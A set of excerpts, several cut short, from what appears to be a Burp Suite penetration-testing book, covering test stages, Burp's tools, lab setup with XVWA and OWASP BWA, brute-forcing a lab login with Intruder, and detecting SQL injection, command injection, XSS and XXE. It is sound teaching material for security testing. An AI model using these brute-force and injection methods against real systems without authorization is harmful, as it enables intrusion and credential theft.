Based on the type of test, we can perform code analysis too. For applications that are hosted as a part of white box testing, the entire code will be available to the tester and he can use custom tools to perform an entire code review and find vulnerabilities based on the code logic. Let's say it is a black box and code analysis needs to be done. Given a black box scenario, the only code analysis that would happen is the client-end code and the JavaScript library references. Based on the analysis, a tester can bypass certain validation logic implemented by these scripts and enable us to perform certain attacks.

In the next chapter, we will be talking in detail about how we can bypass client-side logic by code manipulation. ...





  

                            
                    Manual testing

                
            
            
                
This is the stage where the tester's presence of mind helps him find various vulnerabilities in the application. In this phase, the attacker manually tests for flaws by fuzzing different input fields and checking the application response. There are times where a scanner will not be able to find certain vulnerabilities and user intervention is much needed, and this is where manual testing prospers. Certain vulnerabilities tend to be missed out by automated scanners, such as :


	Various business logic flaws

	Second-order SQL injection 

	Pentesting cryptographic parameters

	Privilege escalation

	Sensitive information disclosures





            

            
        
    




  

                            
                    Various business logic flaws

                
            
            
                
Every application has its own set of logic to get some functions done. Business logic is generally a set of steps required to get a job completed. Let's take an example where, if a user wants to purchase a product on the shopping site, he have to follow a series of steps: 


	Select an item

	Specify the quantity of the product

	Enter delivery information

	Enter card details

	Complete payment gateway procedures

	Purchase complete

	Delivery pending

	Delivery complete



As you can see, a lot of steps are involved and this is where an automated scanner fails.



            

            
        
    




  

                            
                    Second-order SQL injection

                
            
            
                
SQL second-order works differently; one page in the web application takes the malicious user input and some other function on some other page or some other application retrieves this malicious content and parses it as a part of the query. Automated scanners are unable to detect such issues. However, Burp has an implemented logic that helps an attacker find out SQL second-order vulnerabilities.



            

            
        
    




  

                            
                    Pentesting cryptographic parameters

                
            
            
                
Applications where information is being sent to third parties, such as endpoints from shopping portal to payment gateway information, such as credit card details, the information is encrypted by a mutually agreed upon key. An automated scanner will not be able to scan such instances. If any endpoint is left exposed accidentally by the application, then by manual analysis, the pentester can test these cryptographic parameters for vulnerabilities.



            

            
        
    




  

                            
                    Exploiting discovered issues

                
            
            
                
As discussed earlier, once the application is scanned using automated scanners and manual tests, this stage is then progressed. Findings such as SQL injection file upload bypass, XXE attacks, and so on, allow an attacker/tester to gain the capability to dig further and attack the application to take shells. So, once the issues are discovered in this stage, the pentester will go ahead and exploit those issues to see the extent to which the information can be extracted. This is the phase where an attacker can chain multiple vulnerabilities to see if he can cause a bigger bug. There are many submission reports on HackerOne that show how testers have chained multiple vulnerabilities that eventually lead to remote code execution.



            

            
        
    




  

                            
                    Privilege escalation

                
            
            
                
Automated scanners do not have knowledge of the levels of roles or access available on the application and hence will never be able to spot these vulnerabilities. So manual intervention will always be required.



            

            
        
    




  

                            
                    Sensitive information disclosures

                
            
            
                
The knowledge of an automated scanner to determine if the information is sensitive is usually done with the help of a few keywords and a combination of regex, such as a credit card regex or a phone number regex. Beyond that it, is all human intervention.

The next chapter will cover in detail how we can do manual analysis.



            

            
        
    




  

                            
                    Automated testing

                
            
            
                
Automated scanning is a phase carried out on a network and also on the web. Automated scanners help find out multiple flaws ranging from input validation bypass right up to SQL injection. Automated scanning is required to expedite multiple findings in a speedy manner. In automated scanning, the scanner fuzzes all the input parameters to find vulnerabilities that range in the OWASP Top 10, especially the outdated plugins and versions. It helps find sensitive files such as admin logins, as per the dictionary available with them. You should note that the application pentest should not be concluded on the basis of the automated scanning practice. Manual intervention should always be done to validate the findings. Many a time ...





  

                            
                    Digging deep for data exfiltration

                
            
            
                
There are times when the user is not able to take shells, or a situation might arise where the application might be vulnerable to blind SQL or XXE attacks; so what should be done now? Well, in this case, the attacker can still try to exfiltrate information using out-of-band techniques or simple techniques. Using these techniques, the attacker can exfiltrate a lot of information, such as extracting user credentials from the database, reading files via XXE injection, and much more. In later chapters, we will see how we can use out-of-band techniques for data exfiltration using Burp.



            

            
        
    




  

                            
                    Taking shells

                
            
            
                
Well, this is the favorite part of all the pentesters when they feel satisfied with the pentesting activities. Once the tester has a shell via any of the vulnerabilities, such as SQL, RFI, file upload, LFI combined, and so on, he can then try to see if he can elevate his privileges on the server. If he can make himself system or root, then it is a complete compromise and the testing can be concluded a complete success.



            

            
        
    




  

                            
                    Reporting

                
            
            
                
Once the testing is complete, then comes the most important phase: reporting. The reporting has to be done as precisely and elaborately as possible to explain to the organization about the vulnerabilities and their impact. This is because the organization will only understand the effort of the tester in the form of the report presented. You can also add the attacks tested and how the application protected against the attacks, giving the organization/developer the sense of how strong the application is.



            

            
        
    




  

                            
                    Getting to know Burp Suite better

                
            
            
                
In this section, we are going to look at the rich set of features and capabilities Burp Suite provides the tester with. We will also be looking at the quick fixes that help automate the whole pentesting process with a low number of false positives. This will help beginners to understand the awesome capabilities that Burp provides when it comes to penstesting applications over the web.



            

            
        
    




  

                            
                    Features of Burp Suite

                
            
            
                
Burp Suite has a wide array of options that allow us to do pentesting efficiently. Once you open Burp Suite, you will see the following tabs:


	Dashboard

	Target

	Proxy

	Intruder

	Repeater

	Sequencer

	Decoder

	Comparer

	Extender

	Project Options

	User Options



This is how it looks on Burp Suite:



Let's go ahead and understand all these options one by one so that we are well aware of the capabilities from here onward whenever we perform a pentest in the later chapters.



            

            
        
    




  

                            
                    Dashboard

                
            
            
                
The Burp Suite Dashboard is divided into the following three sections:


	Tasks

	Issue Activity  

	Advisory





	Event Log



This allows the user to have a complete view of what is happening when the tester runs an automated scan. The Dashboard looks like the following screenshot:



In the Tasks option, the tester can click on New scan and specify the website to be scanned. Along with the website name, there are other options, such as configuring the scan settings. Once you click on the New scan button, you will see a screen like this:



The ...





  

                            
                    Target 

                
            
            
                
The Target tab allows you to view the entire site map of the application that is in scope. It shows the user all the folders and files detected on the application along with the building logic. There are a lot of additional features in the Target tab as well. Mapping can take place in two ways; one is by manual browsing and the other is by an automated crawler. If the tester is doing manual browsing, turn off the proxy intercept and browse the application. As the requests and responses for different pages keep populating in Burp Suite, the Target tab populates the detected structure as is. This allows the user to get an idea of how the application looks and the folder and file naming convention across the entire application. Well, as we know, instead of a manual approach on a huge website that has a lot of pages, the most suitable option to use an automated crawler, as shown in the following screenshot:



You can see in the Target tab that there are three subsections, Site map, Scope, and Issue definitions. Let's check what features the Scope tab offers. The Scope tab offers two key features; one is what web URLs to include in the scope and the other is what web URLs to exclude from scope.

Here, the tester can either enter a particular folder of a web URL, or the entire URL itself if the scope is the main URL. For example, let's say the application to be tested is on www.website.com/pentesting/, then the scope can be restricted to the pentesting folder only. If it is the entire website, then you can enter the website name itself, as follows:



To add a URL, simply click on Add and enter the URL or the URL with the folder path. Once the user clicks Add, they will see a screen like the following:



Similarly, Exclude from scope ensures that no tests or additional requests are sent to the Exclude from scope URLs. This is efficient when there are certain folders within the application that could be sensitive pages, such as the forgotten password feature or register feature.

When testing on a production environment, if that is included in the tests, then there will be a lot of spam, and clearing such information would be tedious and not appreciated by the client. Therefore, ensure to use this feature. The other way to do this is by right-clicking on the particular file and selecting if you want to exclude or include it in the scope. For example, if something needs to be included in the scope, it can be done as shown in the following screenshot:



If you need to exclude a particular path or a file from scope, it can be done by right-clicking on the URL and selecting Remove from scope, as shown in the following screenshot:





There is an advanced scope control feature as well. When you enable it in the Scope tab, it gives you the capability to enter the type of protocol, that is HTTP or HTTPS, and then the IP/IP range, along with the port number and file, as shown in the following screenshot:



The issue definition contains all the definitions of all the vulnerabilities that can be detected by Burp. This gives us a great of idea of the rich detection of capabilities Burp Suite to find so many vulnerabilities, as shown in the following screenshot:



Burp also provides filters in the site map determining what is to be shown and what needs to be hidden. For example, how the request should be filtered, then the MIME types to be shown, followed by status code. There are other options, such as filter by search term, by extension, and by annotation. These are pretty self-explanatory and can be configured as per the user's requirement as shown in the following screenshot:



This helps in getting a very clear picture of the sitemap.



            

            
        
    




  

                            
                    Proxy

                
            
            
                
This is the heart of the entire tool; everything that happens on Burp Suite happens via this place. The Proxy tab allows you to intercept the request and play with it by editing and sending it to repeater, intruder, or any of the Burp testing modules. This is the place where you can take a decision as to what the tester wants to do with the request. The Proxy tab is shown in the following screenshot:



Once a request is intercepted, it can be viewed in different ways. The options available for a simple HTTP request are Raw, Params, Headers, and Hex. Based on the type of request, if it is a web socket request, then a web Socket tab will ...





  

                            
                    Intruder

                
            
            
                
This is the core functionality of the application. This feature of Burp allows the user to automate the process that a user wants. The automation is used to perform attacks against web applications. This feature is highly customizable and can be used for various tasks, ranging from brute-force, right up to exploiting SQL injections and OS command injection, and so on.



The Intruder has four subtabs, which are:


	Target 

	Positions 

	Payloads

	Options



The Target tab shows the IP and port that the request is being sent to, along with the Start attack button. This button is clicked once and the setup for the particular request to be tested is done, as follows:



The Positions tab in the Intruder is where the payload locations are selected. As seen in the following screenshot, the Value parameter of the txtUsername and txtPassword are highlighted. The Add button adds the delimiter; anything that is between two of those delimiters becomes one attack point. As we can see in the sample request, there are two locations where the automation needs to be done. The Clear button removes all the injection points from the request, and the Auto button adds all the parameters Burp highlights that can be attacked.

The most interesting thing in this tab is the attack type. Burp supports four differentattack types:


	Sniper 

	Battering Ram

	Pitchfork

	Clusterbomb





Let us understand the attack types in a bit more detail.

Sniper: Sniper support a single set of payloads. What it will do is send one payload at a time. So let's say there is one position that we wish to fuzz, then sniper is the best fit for that attack automation. It will not be efficient with two attack points because Sniper will send only a payload to the first attack point. Once the payload set is exhausted, it will send the payloads to the second attack point, leaving the first point to default. Sniper is always selected for a single input attack point. If we use Sniper in the preceding screenshot, it will first fuzz the username, keeping the password as admin, and then fuzz the password field, keeping the username field received in default in the request that is an admin.

Battering Ram: Battering Ram also uses a single set of payloads. The interesting thing here is Battering Ram passes the same payload at multiple locations. This means that once the payload list is specified, it will send the first payload value in all the marked positions that are required to be fuzzed, and so on until the last payload. The number of payloads generated is equal to the payloads provided, irrespective of the fuzzing positions.

Pitchfork: This attack uses multiple sets of payloads. Let's say we have marked two places for fuzzing, similar to the preceding screenshot, and two payload sets are given; one is a username and the other is a password. When the attack is initiated, the first payload from the payload set is set in the first position, and the first payload in the second payload set is set in the second position, and the attack increments accordingly. The total number of attacks will be equal to the payload set with the least number of payloads.

ClusterBomb: This attack uses multiple sets of payloads. It is a complete permutation combination of all the payload positions. Let's say there are two payload positions, username and password, and two different payload sets, username set, and password set. The attack happens in such a way that the first payload for position 1 is tested along will all the payload sets of position 2. Once that is exhausted, then the second payload is set in position 1 and all the payloads from the second set are tested against that. So, in all, the total number of requests generated will be the product of the number of payloads in the payload sets. So, let's say we have 10 payloads for position 1 and 10 payloads for position 2: the total number of requests that will be sent will be 100.

The next tab is the Payloads tab. It contains four different settings, which are:


	Payload Sets

	Payload Options

	Payload Processing 

	Payload Encoding



Payload Sets: Payload Sets allows you to specify what type of payloads are to be entered at what payload position.



Payload Options: This setting allows you to set the payloads. The tester can either set it from the available Burp list if it is a Professional edition or else load a custom set of files with the Load ... option, as shown in the following screenshot



Payload Processing: This setting allows the user to perform different tasks for processing each payload before it is used. The rules, as shown in the following screenshot, can be configured before starting the attack:







Payload Encoding: This setting allows the auto encoding to be set to on or off with the help of the checkbox. The user can specify which characters need to be URL-encoded before being sent for the test, as per the dependency of the application being tested, for example:



The last tab is the Options tab that allows the tester to configure other settings for the automation of attacks. It contains the following settings: 


	Request Headers

	Request Engine

	Attack Results

	Grep Match 

	Grep Extract

	Grep Payloads

	Redirections





Request Headers: This setting allows the user to automatically Update Content-Length header based on the length of the payload, and also set the header of Set Connection: close so as to not utilize the resources of the application by putting it in a wait state.

Request Engine: The Request Engine allows the user to control the speed of testing by specifying the number of threads to be used, the number of retries to be done on a network failure, pausing, throttling, and so on, as shown in the following screenshot:



Attack Results: This setting allows the tester to select what information is to be captured based on the attack results. 

Grep-Match: This setting allows the user to get certain fields highlighted to give a quick view of a particular expression being invoked. For example, if a user is logged in successfully, there would be logout options, so if the user adds the expression logout here and enables this setting, then the request will be highlighted and easy to spot, as follows:



Grep Payloads: This setting is used to flag results containing the same value as the submitted payload.

Redirections: This setting tells Burp what to do in case of redirection being detected on sending requests. 



            

            
        
    




  

                            
                    Repeater

                
            
            
                
Repeater allows the tester to submit the same request recursively by making modifications to it and checking how the server responds. Let's say the tester is testing for an SQL injection or command injection flaw on one parameter of a particular request. The tester can capture the request in Proxy and send it to Repeater, manipulate the parameter and send it to the server check response, manipulate it again, and check the response. It's like a manual debugger. Check the following screenshot for a clear understanding of the first request, which is a simple login request:



It responds with OK. However, if I change the value of the username ...





  

                            
                    Comparer

                
            
            
                
Burp Comparer is a Burp feature used for comparing differences based on the word or byte comparison. The comparison can be used in a lot of conditions. For example, let's say the user wants to compare the difference on a successful and a failed login response. Comparer would show the areas where there are byte differences. One of the other uses that we can think of is for testing SQL injection to see the difference. There are two types of comparison. To send responses to the Comparer, simply right-click on the response and Send to Comparer. For reference, have a look at the following screenshot:



For clarification, we have sent two different responses to Comparer: one of a successful login and another for an unsuccessful login. The Comparer toolbar would look as follows:







The tester can then select one response from item 1 and another response from item 2, and click on Compare by words, and Compare by bytes. The tool will do a word-to-word comparison and show the differences like deletion, modification, and addition, for example:



The comparison is shown in a color-coded scheme, as we can see in the preceding screenshot for Modified, Deleted, and Added.





            

            
        
    




  

                            
                    Sequencer

                
            
            
                
Sequencer is used for analyzing session cookies, CSRF tokens, and password reset tokens for randomness. We will be talking in more detail about this when we perform an analysis of Session tokens with the help of Sequencer. 

For more information on Burp Suite Sequencer, please visit http://www.preflexsol.com/burpsuite.shtml



            

            
        
    




  

                            
                    Decoder

                
            
            
                
This Burp utility allows the tester to Encode, Decode, and Hash data as and when encountered over the application. There are different types of encoders and hashes supported, for example:




	Encoders/Decoders
	Plain
	URL
	HTML
	Base64
	ASCII hex
	Hex
	Octal
	Binary
	Gzip





 

The following is an example of base64 encoding the string password using the Encode as ... an option in the decoder:



There are quite a few types of hashes supported, ranging from SHA to SHA3-512, and then MD5, MD2, and so on. Play around with the decoder as it will be a really handy utility during pentests.



            

            
        
    




  

                            
                    Extender

                
            
            
                
This capability of Burp allows the tester to use different extensions written by independent people that serve as an add-on to the Burp features. Burp is very scalable; a user can even write his own code to create a Burp extension and embed it to take more advantage of Burp. In order to avail the full advantage of the extensions, the user has to provide a path to the Jython and JRuby JAR files. We will shortly see how to do that. Let's look at the following Burp Extender page:



In the Extender section, go to the Options page and provide a path to the downloaded Jython JAR file. Jython JAR can be downloaded from http://www.jython.org/downloads.html ...





  

                            
                    Project options

                
            
            
                
Project options are similar to user options, but this tab stays specific to a particular project that is started. It contains the following subtabs:


	Connections

	HTTP 

	SSl 

	Sessions

	Misc





The Connections tab contains a list of the following items:


	Platform Authentication

	Upstream Proxy Server

	SOCKS Proxy

	Timeouts

	Hostname Resolution

	Out-of-Scope Requests





Platform Authentication: Platform Authentication includes the authentications that are present usually before a user can access the application (for example, HTTP authentication, NTLMv1, NTLMv2 authentication, digest authentication, and so forth). So if the configuration is not done in the User Options tab, the setting can be used here. We will see in detail in the User Options menu the different options that are available.

Upstream Proxy Server: Let's say that in an organization, to access a particular application there needs to be a proxy configured. However, since we are redirecting the traffic to Burp as our proxy, how will the user redirect the request to a particular application via the organization proxy? This is where the Upstream Proxy Server comes into play. The Upstream Proxy Server allows you to configure the proxy for the organization, so that the request can be sent to the particular application that resides behind the proxy. 

Timeouts: There are a lot of requests that Burp sends to the application while performing testing. But how does it understand whether the request is complete or not, should it wait until the time the server responds, or what if there is a condition the server cannot access, or a response that is not available for some particular request? All the threads available for testing by Burp might just end up being utilized and in a wait state. Hence, the timeout feature, where the user can specify when to terminate a particular request based on the scenario. As we see in the following screenshot, there are four different types of timeout. Normal, open-ended responses, domain name resolution, and failed domain name resolution:



Hostname Resolution: Let's say there is a scenario where the user wants to give an alias to a particular application hosted on a particular IP. Usually the DNS resolution happens in the hosts file or the DNS server level. Burp also gives the user the capability to specify, such that the user can say that 127.0.0.1 resolves to pentest in this configuration, and when the user enters http://pentest/, the localhost content will be shown. This kind of configurations can be done in the Hostname Resolution page.

Out-of-Scope Requests:  Burp provides a feature that will prevent any out-of-scope requests being issued from Burp. The two features made available are to drop all the out-of-scope requests or to use the scope defined in the Target tab.

The next sub tab in Project options is HTTP. This contains all the settings pertaining to HTTP if not already configured in the user options section. The HTTP tab looks as follows:



The HTTP tab contains the following three settings: 


	Redirections 

	Streaming Responses

	Status 100 Requests



Redirections: In Burp, these settings allow the types of redirections that Burp should consider and process accordingly.

Streaming Responses: These settings are used to specify URLs returning responses that stream indefinitely. What Burp will do is pass these responses directly through to the client.

Status 100 Responses: With this setting, the user can control the way Burp handles the HTTP responses with status 100. The user can either select to understand the response 100 or else remove 100 continue headers.

The next tab is the SSL tab. Here all the SSL-related configuration for the particular project can be set if not already configured in the User Options tab, for example:



The following three options are available:


	SSL Negotiation 

	Client SSL Certificates

	Server SSL Certificates



SSL Negotiation: There are often times when the user is not able to see the application because of SSL Negotiation errors. This is where the user can specify a specific negotiation to take place by manually saying which cipher to use. If you click on Use custom protocols and ciphers, the user gets a list of all the ciphers available and then can deselect the ones causing errors and then access the application, as shown in the following screenshot:  



If it still doesn't work, then there are workaround options available as well. The user can elect to automatically select compatible SSL parameters on negotiation failure or allow usage renegotiation, or even disable an SSL session. 

Client SSL Certificates: There are times when the application requires a specific certificate otherwise, content to the application is not rendered. These are also known as Client SSL Certificates. Burp provides a feature where a user can add a client certificate so that whenever the host requests it, it can be sent to the host. The Client SSL Certificates tab looks like this:



Server SSL Certificates: This panel shows a list of unique SSL certificates received from web servers. The item can be double-clicked to view the entire certificate.

Next is the Sessions tab, which handles all the session-related information for that particular project. There are three different settings available in the Sessions tab, as follows:


	Session Handling Rules

	Cookie Jar

	Macros





Session Handling Rules: Session rules allow the user to make Burp perform certain tasks for every HTTP request. Each rule has a defined scope and the definitions are available once the user clicks on the Add button of the session handling rules setting. There are many actions that can be done, such as adding session cookies, logging into the application, checking session validity, and so on. The following screenshot shows the definitions that are available in the session handling rules:



Cookie jar: Burp stores all the cookies issued by the website in a cookie jar. Session handling rules make use of these cookies and even update them to maintain the valid session with the application. Here, the tester can select from where all the cookies are supposed to be taken and maintained, namely Proxy, Scanner, Repeater, Intruder, Sequencer, and Extender.

Macros: In simple terms, macros are like a set of sequences of more than one request. They can be used within session handling or performing things such as obtaining Anti-CSRF tokens. We will learn about this in more detail when we talk about Burp and its macros.

The next tab is the Misc tab, which contains all the miscellaneous settings for the particular project settings. The  following screenshot shows the Misc tab:



The following three main settings are available in Misc:


	Scheduled Tasks 

	Burp Collaborator Server

	Logging



Scheduled Tasks: In the scheduled task section, the user can specify a specific activity to be done mainly pertaining to the execution scheme. The user can select to pause or resume execution at a particular time so as to ensure timing constraints. The setting is shown in the following screenshot:



Burp Collaborator Server: Burp collaborator is an external service that is used to fetch out-of-band type vulnerabilities. Burp has a default collaborator server, but if the user wants he can configure his own collaborator server using this setting and can use the Run Health Check option to understand if it has been correctly configured. We will be looking at Burp collaborator in more detail when we talk about Out-of-Band Injection attacks.

Logging: This is simple and straightforward. This setting allows the user to control the logging of HTTP requests. The user can select requests and responses from which part of the tools needs to be logged. 

This covers the Project options parts. Most of the time during a scan, these are not altered unless and until a special configuration is required, and hence it is good to have knowledge of all these settings to better understand what to do when a scenario arises. Let's move on to the next tab, the User options tab.









            

            
        
    




  

                            
                    User options

                
            
            
                
The User options tab contains all the settings a user can configure for Burp to run by default every time it is started. Most of the settings are similar to the ones seen in the Project options; the only difference is that this is a permanent configuration every time Burp is run, whereas the Project options are configured only when the project has special requirements.


The following four tabs are available in the User options:


	Connections

	SSL 

	Display

	Misc





Let's look at the following screenshot to see the available settings for the Connections tab:


The Connections tab has the following set of options: 


	Platform Authentication  ...






  

                            
                    Reconnaissance and file discovery

                
            
            
                
In this module, we are going to see how to do reconnaissance to detect files and folders in the application via Burp. This phase is important because it helps in mapping the entire site structure, since there could be certain folders that aren't available via site hyperlinks but are at times available on the application. Often people end up finding a lot of sensitive folders and files hosted on the web application under the scope. The capability to detect such files and folders totally depends upon the strength of the wordlist available. Let us go ahead and see how we can do this using Burp Suite.







            

            
        
    




  

                            
                    Using Burp for content and file discovery

                
            
            
                
For this module, we are going to use OWASP BWA and do a discovery of all the files and folders in the set of applications available. We will see how to configure and set up the necessary parameters over Burp to perform a content discovery. 

Start the OWASP BWA VM and note down the IP address, access the application in a browser, and check your sitemap in Burp Suite. It should look something like this:



Go ahead and right-click on the URL address, then select Engagement tools, and then click on Discover content. It will show you the different sets of parameters that you can specify to begin the automated ...





  

                            
                    Summary

                
            
            
                
As a quick summary, we have seen the different stages of an application pentest and we will now start looking at the different vulnerabilities and how we can use Burp to find those vulnerabilities. Along with this, we have also seen the different functions available in Burp and what configurations are made available to the user to easily use the proxy interception. 

In the next chapter we will be planning the approach to application penetration testing



            

            
        
    




  

                            
                    Preparing for an Application Penetration Test

                
            
            
                
In this chapter, we are going to pentest various vulnerable applications via Burp to better understand how we can pentest efficiently with Burp Suite.

The following topics will be covered in this chapter:


	Setup of vulnerable web applications

	Reconnaissance and file discovery

	Testing authentication schema with Burp





            

            
        
    




  

                            
                    Setup of vulnerable web applications

                
            
            
                
In order for us to commence with this chapter, the reader will have to download the following vulnerable apps:


	Xtreme Vulnerable Web Application 

	OWASP Broken Web Applications





            

            
        
    




  

                            
                    Setting up Xtreme Vulnerable Web Application

                
            
            
                
In order to set up the Xtreme Vulnerable Web Application, follow these steps:


	Download the Xtreme Vulnerable Web Application; visit https://download.vulnhub.com/xvwa/ and click on xvwa.iso

	Once downloaded, open VirtualBox and click on New:






	Set the name of the new virtual machine. We have given it the following name:






	Provide around 1024 MB of RAM, as shown in the following screenshot:






	Next, ...






  

                            
                    Setting up OWASP Broken Web Application

                
            
            
                
In order to set up the OWASP Broken Web Application, follow these steps:


	Download the OWASP BWA from: https://download.vulnhub.com/owaspbwa/; go to website and click on OWASP_Broken_Web_Apps_VM_1.2.7z.

	Once downloaded, open VirtualBox and, as shown in the following screenshot, click on New.

	Set the name of the new virtual machine. We have given it the following name:






	Provide around 1024 MB of RAM and then, select the option Use an existing virtual hard disk file, as shown in the following screenshot: 






	Select the extracted OWASP Web Apps .vmdk file and click on Create. This will create a virtual machine. To start this virtual machine, select the machine from the list of machines and click on the Start button.





            

            
        
    




  

                            
                    Testing for authentication via Burp

                
            
            
                
This topic primarily talks about trying to brute force authentication pages in case rate limiting is not put into place. We will be learning how we can use Burp on various login pages to try and brute force the authentication with a set of username and password dictionaries. Lastly, we will also check if the authentication page is vulnerable to SQL injection. 



            

            
        
    




  

                            
                    Brute forcing login pages using Burp Intruder

                
            
            
                
Let us not waste time and quickly head on to a few of the applications to see how we can use Burp to brute force credentials on authentication pages. The first application we will brute force is OrangeHRM in the OWASP BWA list. 



Once you open the app, you will be shown a login page; there is no option to register this application. So we have two options, either test for SQL injection or brute-force dictionary-based passwords with the hope that one of the username and password combinations hit valid. The following screenshot shows the homepage:



The default credentials of this application is admin:admin, however, for the purpose of showing how we can brute force the login page, the password has been changed to another dictionary word. Let us go ahead and type any random username and password, test and test, and click on Login. Ensure that while you do, your proxy is on and you receive the intercept to send this request to the intruder, as shown in the following screenshot:



Go to the Intruder tab and click on the Clear § button to remove all the predefined attack points. Our core concern is to attack the username and password values, so we select the username and password fields and add them to our attack points, and change the Attack type to Cluster bomb, as shown in the following screenshot:



Now, before we proceed ahead, let us understand why we selected cluster bomb as the attack type. There are four different types of attack types in the intruder capability of Burp. The four attack types are:


	Sniper

	Battering ram

	Pitchfork

	Cluster bomb





We have already looked into these attack types in the previous chapter. Now that we have understood the different attack types, let us go ahead with our cluster bomb and feed in values for the username and password payloads. Go to the Payloads section and select Payload set 1 and in the payload options select Add from list.. and select Usernames. If you are using Burp Basic, you can download wordlist from https://github.com/danielmiessler/SecLists, select the Add option, and give the path of the username. For professional users, have a look at the following screenshot: 





For basic users, once you download the list, just click on Load... and provide the path to the top usernames shortlist file, as shown in the following screenshot:



Similarly, select Payload set 2 and select password for professional users via the add from the list, and for basic users, via load option. Professional users can also use a custom list if they don't want to use the default list in Burp. So Payload set for password is set, as shown in the following screenshot:



Once the configuration is done, we can click on Start attack and it will brute force the set of usernames and passwords, giving us a valid credential if any of the combination hits are correct, for example:



As you can see, one of the combinations hit success and it gives status 302, meaning there is a chance this was the right password. Let's go ahead and request this in the browser. Right-click on the request and select request in browser and then in current session you will be presented with a Burp URL. Copy and paste that in the URL space and, as you see from the following screenshot, you are successfully logged in:





            

            
        
    




  

                            
                    Testing for authentication page for SQL injection

                
            
            
                
In this module, we will see how to perform tests to verify if the application's authentication page is vulnerable to SQL injeciton. We will first understand how SQL injection affects the login page, what is the background logic to it, and how it executes and allows us to log in. Then we will test a few applications and see if the application is vulnerable to SQL injection or not.

The magic strings to test for SQL injection on the login page have the same logic but are represented differently due to validations. The whole aim is to try to come out of the input field of the SQL syntax and try to execute the payload as a part of the SQL query, which will result to true. For example, a few samples ...





  

                            
                    Summary

                
            
            
                
In this chapter, we setup the vulnerable web applications. Furthermore, we did reconnaissance to detect files and folders in the application via Burp. Finally, we learned how we can use Burp on various login pages to try and brute force the authentication with a set of username and password dictionaries.

In the next chapter, we will identify the vulnerabilities using Burp Suite



            

            
        
    




  

                            
                    Identifying Vulnerabilities Using Burp Suite

                
            
            
                
Burp Suite is more than an HTTP proxy; it is a complete set of tools for detecting and exploiting vulnerabilities. In fact, we will use Burp Suite to explain to developers how these vulnerabilities work in an approach that they can understand. In this chapter, we will focus on how to detect vulnerabilities using Burp Suite and some extensions. We will be covering the following topics:


	Detecting SQL injection flaws

	Detecting OS command injection

	Detecting cross-site scripting (XSS) vulnerabilities

	Detecting XML-related issues such as XML External Entity (XXE)

	Detecting Server-Side Template Injection (SSTI)

	Detecting Server-Side Request Forgery (SSRF)





            

            
        
    




  

                            
                    Detecting SQL injection flaws

                
            
            
                
SQL injection is a vulnerability generated by weak input validation controls in an application. It allows a malicious user to execute arbitrary SQL code, which exposes the information stored, and, in some critical cases, allows complete control of the server where the application is residing.

There are three main ways to detect SQL injections using Burp Suite: first, by manually inserting testing strings; second, by using the scanner; and third, by using an extension called CO2, which uses sqlmap in the background, a tool for exploiting and detecting SQL injections. Let's take a look at these three methods.



            

            
        
    




  

                            
                    Manual detection

                
            
            
                
Manual detection means to analyze request by request, using just the Proxy tool and Intruder tool, to detect an error or an unexpected behavior to detect SQL injection.

Imagine you have an application that allows the user to see information about the users registered in a database; to do that, the application will use the following request:

GET /dvwa/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1 Host: 192.168.1.72 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.72/dvwa/vulnerabilities/sqli/ Connection: close Cookie: security=low; ...





  

                            
                    Scanner detection

                
            
            
                
The easiest way to detect a SQL injection, and any vulnerability using Burp Suite, is through a scanner. To use a scanner, you do the following:


	Open Burp Suite to view the main Dashboard, as shown in the following screenshot. Note that this is only available in the Professional Edition; the Community Edition does not have Scanner as an option. If you use the Community Edition, then use the scanner included in ZAP Proxy (which can be found here: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project):






	In this screen, click on New scan. This button will launch the wizard to configure the scan; here, you can add all the URLs that you want to scan, limit the scope of the scan, set credentials for authenticated scans, and create specific tasks, such as filters. To perform an application scan, enter the URL you want to scan, as shown in the following screenshot:








	Next, click on Application Login and add credentials for the application. In this case, we add the user for the website, as demonstrated in the following screenshot:






	Click on the OK button and the scanner will start the detection, as shown in the following screenshot. Burp Suite will ask you whether it needs more information to perform the scan:





Now, let's move on to the next detection method, which is CO2 detection.



            

            
        
    




  

                            
                    CO2 detection

                
            
            
                
CO2 is a popular extension for Burp Suite that integrates sqlmap, a tool developed in Python, which is focused toward detecting and exploiting SQL injections in web applications. Let's look into the installation and working of CO2, as follows:


	To install CO2, navigate to the Extender tab in Burp Suite, and then click on BApp Store; here, you will find a list of the latest versions, as shown in the following screenshot:






	To install, click on the Install button, and a new tab will appear in your Burp Suite installation, as shown in the following screenshot:





	CO2 is actually just a frontend extension for sqlmap. To work, it ...






  

                            
                    Detecting OS command injection

                
            
            
                
Command injection is another input validation error, which derives in the interaction directly with the operating system. It is usually because the application is using a function, such as exec(), execve(), or system().

Like SQL injections and all the vulnerabilities described in this chapter, OS command injection could be detected by using the scanner method and following similar steps. So, we will describe how to detect this vulnerability in a manual way.



            

            
        
    




  

                            
                    Manual detection

                
            
            
                
To detect command injection vulnerabilities, open Burp Suite and intercept the request where you think there is a potential vulnerability.

We think there is a vulnerability in the IP parameter. The normal application's flow is that the user inserts an IP address, and then the application executes a ping to this IP address. If we try to imagine what is happening in the backend, we can suppose that the IP parameter is received by a variable in PHP; then it is concatenated with the string ping to create a string that contains the command and the IP address.

Finally, this complete string is passed as a parameter to a function in charge to execute in a low-level command. So, if the IP parameter is not validated in a correct way ...





  

                            
                    Detecting XSS vulnerabilities

                
            
            
                
XSS has three different types, but all of them have one thing in common—they derive from the input validation error to manage characters that are used to inject JavaScript code or HTML tags. So, we can use some inputs as shown in the following screenshot (which is a cheat sheet from the OWASP project), and add to the Intruder tool as payload:



A cheat sheet from the OWASP project

The way to detect XSS vulnerabilities is to find these codes without encoding or modifications in the responded HTML or that we did not get an error after injecting the testing strings.

To add the cheat sheet, use a similar process to adding the payload list to Intruder. Open the Intruder tool, click on the Payloads tab, and then select the Load button. Finally, mark all the parameters that you think are vulnerable, then click on Start attack, as shown in the following screenshot:



List of vulnerable parameters

In the preceding screenshot, we can see how all the strings were launched by Intruder, and how one of them is affecting the response in a confirmed XSS.



            

            
        
    




  

                            
                    Detecting XML-related issues, such as XXE

                
            
            
                
The XML issues need that the request accepts XML, so we need this information in the header's content-type, as follows:

text/xml
application/xml

